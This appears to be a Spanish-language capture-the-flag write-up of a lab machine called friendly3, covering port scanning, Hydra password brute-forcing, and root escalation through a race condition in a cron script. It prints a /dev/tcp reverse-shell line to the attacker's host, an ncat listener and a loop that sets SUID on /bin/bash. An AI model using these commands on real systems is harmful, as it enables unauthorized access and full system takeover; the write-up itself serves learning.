Enumeración de servicios
Comenzamos con un escaneo de puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.24
❯ nmap -sCV -p21,22,80 -oN 02-targeted.txt 192.168.1.24
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-28 19:54 -03
Nmap scan report for 192.168.1.24
Host is up (0.00027s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
| 256 bc:46:3d:85:18:bf:c7:bb:14:26:9a:20:6c:d3:39:52 (ECDSA)
|_ 256 7b:13:5a:46:a5:62:33:09:24:9d:3e:67:b6:eb:3f:a1 (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Welcome to nginx!
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.49 secondsObtención de acceso por SSH
En la web encontramos un mensaje que revela dos usuarios. La cuenta presenta un caso de Weak Password y con Hydra descubrimos la contraseña de juan, válida tanto para SSH como para FTP:
❯ hydra -L users.txt -P ~/Documentos/wordlists/rockyou.txt 192.168.1.24 ssh -t 64
...
[22][ssh] host: 192.168.1.24 login: juan password: alexis
...
❯ hydra -l juan -P ~/Documentos/wordlists/rockyou.txt 192.168.1.24 ftp -t 64
...
[21][ftp] host: 192.168.1.24 login: juan password: alexis
...Encontrar la misma combinación en ambos servicios confirma reutilización de credenciales. FTP sirve para revisar los mensajes publicados, mientras que SSH aporta una sesión interactiva desde la que podemos estudiar procesos, permisos y tareas periódicas.
Análisis de la tarea programada
En el FTP hay algunos .txt con mensajes. Al conectarnos por SSH obtenemos la primera flag. En /opt encontramos un script que descarga y ejecuta otro desde /tmp:
#!/bin/bash
/usr/bin/curl "http://127.0.0.1/9842734723948024.bash" > /tmp/a.bash
chmod +x /tmp/a.bash
chmod +r /tmp/a.bash
chmod +w /tmp/a.bash
/bin/bash /tmp/a.bash
rm -rf /tmp/a.bashPara confirmar que se ejecuta periódicamente como root, monitorizamos con pspy64 (transferido vía un servidor HTTP):
❯ python3 -m http.serverjuan@friendly3:/tmp$ curl -X GET "http://192.168.1.10:8000/pspy64" -o pspy64pspy observa eventos de procesos sin requerir privilegios elevados. Su salida permite correlacionar la ejecución periódica con UID 0 y ver el orden de curl, chmod, bash y rm. Esta comprobación evita asumir que encontrar un script en /opt significa automáticamente que cron lo ejecuta como root.
Escalada de privilegios mediante una condición de carrera
Verificamos que el script corre cada par de minutos. El flujo crea /tmp/a.bash, lo hace escribible y sólo después lo ejecuta como root, dejando una ventana de tiempo entre chmod +w y /bin/bash. Debemos reemplazar o reescribir el archivo dentro de esa ventana. Las notas originales conservaron la carga y la conexión recibida, aunque no el comando exacto usado para sincronizar la escritura:
juan@friendly3:/tmp$ cat a.bash
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.19/4321 0>&1
❯ ncat -nlvp 4321
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4321
Ncat: Listening on 0.0.0.0:4321
Ncat: Connection from 192.168.1.24:39956.
bash: cannot set terminal process group (3107): Inappropriate ioctl for device
bash: no job control in this shell
root@friendly3:~#La debilidad es una TOCTOU Race Condition: el proceso privilegiado prepara un archivo en un directorio compartido y lo usa más tarde, pero otro usuario puede cambiar su contenido entre ambas operaciones. Crear una carga estática una sola vez no basta, ya que curl sobrescribe el archivo al comienzo del ciclo y rm lo elimina al final.
// renderizando diagrama…
El diagrama muestra el mecanismo temporal: la comprobación y preparación pertenecen al proceso privilegiado, pero el objeto usado después sigue bajo influencia de otro usuario.
Una alternativa más fiable es mantener un proceso en bucle que vuelva a escribir una orden para asignar el bit SUID a Bash. El proceso se inicia como juan y falla mientras el archivo pertenece a root sin permiso de escritura, pero puede reemplazarlo durante la ventana abierta por chmod +w:
juan@friendly3:/tmp$ while true; do
{ printf '%s\n' 'chmod +s /bin/bash' > /tmp/a.bash; } 2>/dev/null
doneEn otra terminal comprobamos el resultado y conservamos el EUID privilegiado con -p:
juan@friendly3:/tmp$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1265648 Apr 23 2023 /bin/bash
juan@friendly3:/tmp$ bash -p
bash-5.2# whoami
rootEl bucle aumenta la probabilidad de escribir durante la ventana vulnerable y evita depender de una sincronización manual que no quedó documentada. Cuando root ejecuta una versión que contiene chmod +s /bin/bash, el cambio persiste aunque /tmp/a.bash se elimine después. Finalmente, bash -p conserva el EUID obtenido mediante SUID y entrega la shell privilegiada.
Obtenemos nuestra flag.
Fin.